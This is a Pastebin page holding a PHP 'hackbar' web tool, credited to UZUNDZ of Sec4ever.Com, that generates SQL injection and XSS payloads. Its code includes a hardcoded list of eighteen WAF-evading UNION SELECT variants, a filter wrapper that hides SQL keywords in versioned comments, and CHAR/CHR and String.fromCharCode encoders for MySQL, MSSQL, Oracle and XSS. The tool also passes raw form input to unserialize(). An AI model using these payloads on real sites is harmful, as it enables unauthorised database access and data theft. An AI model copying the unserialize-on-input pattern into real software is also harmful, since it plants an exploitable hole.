Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <title> PHP HACKBAR </title>
- <head><style>
- textarea
- {
- border:1px solid #999999;
- width:99%;
- }
- </style>
- </head>
- <form method="POST">
- <select name='SQLi' onChange="submit();">
- <option>SQL INJECTION</option>
- <option>UNION SELECT</option>
- <option>UNION_BYPASS</option>
- <option>MYSQL CHAR</option>
- <option>MSSQL CHAR</option>
- <option>ORACLE CHAR</option>
- <option>FILETRING</option>
- <option>CONVERT utf8</option>
- <option>unhex(hex())</option>
- <option>STRING REVERSE</option>
- </select>
- <select name='UNION' onChange="submit();" >
- <option>UNION_BYPASS</option>
- <?php
- for($i=0;$i<=18;$i++){
- echo "<option>UNION $i</option>";
- }
- ?>
- </select>
- <select name='XSS' onChange="submit();" >
- <option>XSS</option>
- <option>StringCharEncode</option>
- <option>StringCharDecode</option>
- <option>HTML ENCODE</option>
- <option>HTML DECODE</option>
- <option>ASCII ENCODE</option>
- <option>ASCII DECODE</option>
- </select>
- <select name='Encod3' onChange="submit();" >
- <option>Encode - Decode</option>
- <option>BASE64 Encode</option>
- <option>BASE64 Decode</option>
- <option>Hex Encode</option>
- <option>Hex Decode</option>
- <option>URL FULL Encode</option>
- <option>URL FULL Decode</option>
- <option>Serialize</option>
- <option>UnSerialize</option>
- </select>
- <br />
- <hr>
- <pre>
- Query :
- <textarea rows="13" name="query" placeholder="write something !!" />
- <?php
- /*
- * AUTHOR : UZUNDZ.
- * HOME : Sec4ever.Com.
- * PHP HACKBAR.
- * STARTED WITH 2 FUNCTIONS :
- UNION , FILETRING.
- * UPDATED : 30/03/2014.
- * FUNCTIONS ADDED :
- MYSQL & MSSQL & ORACLE CHAR ,BASE64 Encode & Decode , Hex Encode & Decode , URL FULL Encode & Decode ,
- HTML Encode & Decode, StringChar Encode & Decode, COVERT , unhex(hex()).
- * UPDATED : 10/06/2014.
- * FUNTIONS ADDED :
- ASCII ENCODE & DECODE , Serialize & UnSerialize , STRING REVERSE.
- */
- error_reporting (0);
- if (!empty($_POST['query']))
- {
- $hack = trim ($_POST['query']);
- $hackbar = new hackbar ($hack);
- switch ($_POST['SQLi'])
- {
- case "UNION SELECT" : $hackbar->UNION (); break;
- case "UNION_BYPASS" : $hackbar->UNION_BYPASS(); break;
- case "MYSQL CHAR" : $hackbar->CHAR ("",",","MYSQL"); break;
- case "MSSQL CHAR" : $hackbar->CHAR ("CHAR","+","",1); break;
- case "ORACLE CHAR" : $hackbar->CHAR ("CHR","||","ORACLE",1); break;
- case "FILETRING" : $hackbar->FILTER (); break;
- case "CONVERT utf8" : echo "CONVERT($hack USING utf8)"; break;
- case "unhex(hex())" : echo "unhex(hex($hack))"; break;
- case "STRING REVERSE" : echo strrev ($hack); break;
- }
- for($i=0;$i<=18;$i++){
- switch ($_POST['UNION'])
- {
- case "UNION $i" : $hackbar->UNION_BYPASS($i); break;
- }
- }
- switch ($_POST['Encod3'])
- {
- case "BASE64 Encode" : echo htmlentities(base64_encode ($hack)); break;
- case "BASE64 Decode" : echo htmlentities(base64_decode ($hack)); break;
- case "Hex Encode" : $hackbar->strToHex (); break;
- case "Hex Decode" : $hackbar->ToStr ("0x"); break;
- case "URL FULL Encode" : $hackbar->urlencode ("%",""); break;
- case "URL FULL Decode" : $hackbar->urldec(); break;
- case "Serialize" : echo serialize ($hack); break;
- case "UnSerialize" : print_r (unserialize ($hack)); break;
- }
- switch ($_POST['XSS'])
- {
- case "StringCharEncode" : $hackbar->CHAR ("",",","XSS"); break;
- case "StringCharDecode" : $hackbar->StringCharDecode (); break;
- case "HTML ENCODE" : $hackbar->HTMLENC (); break;
- case "HTML DECODE" : $hackbar->HTMLDEC (); break;
- case "ASCII ENCODE" : $hackbar->CHAR ("",",","",0); break;
- case "ASCII DECODE" : $hackbar->ASCIIDEC (","); break;
- }
- }
- class hackbar
- {
- private $_string;
- function __construct ($string)
- {
- $this->_string = $string;
- }
- function UNION ()
- {
- for ($i = 1; $i <= $this->_string; $i++) {
- $un .= $i . ",";
- }
- echo "UNION ALL SELECT ".substr ($un, 0, -1);
- }
- function UNION_BYPASS($d)
- {
- for ($i = 1; $i <= $this->_string; $i++) {
- $un .= $i . ",";
- }
- $array = array("/*!UNION*/ /*!%0ASELECT*/", "/*!%0AUNION*/ /*!%0ASELECT*/", "/**//*!12345UNION SELECT*//**/", "/**//**//*!12345UNiON*//**//**//*!12345ALL*//**//**//*!12345SELECT*//**//**/", "/**//**//*!50000%55NION*//**//**//*!50000%53ELECT*//**//**/", "/**//*!12345UNION SELECT*//**/", "+union+distinct+select+", "+union+distinctROW+select+", "%20/*!12345UNION*/%20/*!12345SELECT*/%20%201", "/*_*/%2f%2a%2120000union%2a%2f/*,*/%2f%2a%2120000SelEct%2a%2f/*,*/", "null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/", "/**/un/**/ion+se/**/lect/**/", "/*,*/uni%0bon+se%0blect/*,*/", "/*_*//*!20000%0D%0Aunion*/+/*!20000%0D%0ASelEct*//*_*/", "/**//**//*!12345%55nIoN*//**//**//*!12345%53ElEcT*//**//**/", "/*!12345%0AUNION*/ /*!12345%0ASELECT*/", "/*!12345UNION*/ /*!12345SELECT*/", "/*!%0AUNION*/ /*!%0ASELECT*/");
- echo "$array[$d] ".substr($un,0,-1)."--+-\n\r";
- }
- function FILTER ()
- {
- $filter = array ("union","all","select","from","and","where","limit","group","by","schemata","tables","columns","table_schema","schema_name","table_name","column_name","floor","having");
- foreach ($filter as $fill) {
- $this->_string = str_replace(array(strtoupper($fill), $fill), "/*!12345" . strtoupper($fill) . "*/", $this->_string);
- }
- echo $this->_string;
- }
- function strToHex ()
- {
- $hex = '';
- for ($i = 0; $i < strlen($this->_string); $i++) {
- $hex .= dechex(ord($this->_string[$i]));
- }
- echo "0x".$hex;
- }
- function ToStr($c)
- {
- if(eregi($c,$this->_string)){
- $this->_string = str_replace($c,"",$this->_string);
- }
- $string='';
- for ($i=0; $i < strlen($this->_string)-1; $i+=2)
- {
- $string .= chr(hexdec($this->_string[$i].$this->_string[$i+1]));
- }
- echo $string;
- }
- function urlencode ($c, $d)
- {
- $url = '';
- for ($i = 0; $i < strlen($this->_string); $i++) {
- $url .= htmlentities($c . dechex(ord($this->_string[$i])) . $d);
- }
- echo strtoupper ($url);
- }
- function urldec(){
- echo urldecode($this->_string);
- }
- function CHAR ($co, $c, $opt, $b)
- {
- $char = '';
- for ($i = 0; $i < strlen ($this->_string); $i++)
- {
- if ($b == 1) {
- $char .= $co . "(" . ord($this->_string[$i]) . ")" . $c;
- }else {
- $char .= ord($this->_string[$i]) . $c;
- }
- }
- if ($opt == ""){
- echo substr ($char, 0, -1);
- }
- elseif ($opt == "MYSQL"){
- echo "CHAR(".substr ($char, 0, -1).")";
- }
- elseif ($opt == "XSS"){
- echo "String.fromCharCode(".substr ($char, 0, -1).")";
- }
- elseif ($opt == "ORACLE"){
- echo substr ($char, 0, -2);
- }
- }
- function StringCharDecode()
- {
- $this->_string = $this->StrReplace("String.fromCharCode(,)");
- return $this->ASCIIDEC(',');
- }
- function HTMLENC ()
- {
- return $this->urlencode("&#",";");
- }
- function HTMLDEC($string)
- {
- $this->_string = $this->StrReplace("&#,;");
- return $this->ToStr();
- }
- protected function StrReplace($c)
- {
- $c = explode (",", $c);
- return str_replace ($c, "", $this->_string);
- }
- function ASCIIDEC($m)
- {
- $strings = explode ($m,$this->_string);
- foreach ($strings as $string){
- echo chr($string);
- }
- }
- }
- ?>
- </textarea>
- </form>
- <center> © UZUNDZ , Sec4ever.Com.</center>
- </pre>
Add Comment
Please, Sign In to add comment